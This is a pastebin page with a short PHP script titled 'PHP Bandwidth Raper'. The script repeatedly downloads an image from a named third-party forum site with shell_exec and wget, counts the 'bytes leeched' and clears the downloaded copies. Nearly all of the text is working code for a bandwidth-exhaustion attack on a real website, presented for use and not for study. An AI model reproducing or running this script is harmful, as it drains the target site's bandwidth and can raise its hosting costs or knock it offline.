All pastes #1181456 Raw Edit

PHP Bandwidth Raper

public text v1 · immutable
#1181456 ·published 2008-08-22 09:42 UTC
rendered paste body
<?


$url = "http://rule-12.com/style_images/ip.boardpr/logo4.gif";
$x = $_GET['x'];
$max = 1000;
$size = getSizeFile($url);


function getSizeFile($url) {
    if (substr($url,0,4)=='http') {
        $x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
        if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
        else { $x = $x['content-length']; }
    }
    else { $x = @filesize($url); }

    return $x;
}

function format_size($size, $round = 0) {
    //Size must be bytes!
    $sizes = array('B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $total = count($sizes);
    for ($i=0; $size > 1024 && $i < $total; $i++) $size /= 1024;
    return round($size,$round).$sizes[$i];
}


echo $url . '<br><br>';
if ($x > $max) die("No.");
for($i = 1; $i <= $x; $i++){
	shell_exec("wget " . $url);
	$bandwidth += $size;
	echo $i . '. ' . $bandwidth . ' bytes leeched<br>';
	if ($i % 100 == 0) echo shell_exec("rm *.gif.* -v") . '<br>Cache Cleared!<br>';
}


echo shell_exec("rm *.gif* -v") . '<br>Cache Cleared!<br><br>A total of ' . format_size($bandwidth, 2) . '  have been downloaded';



?>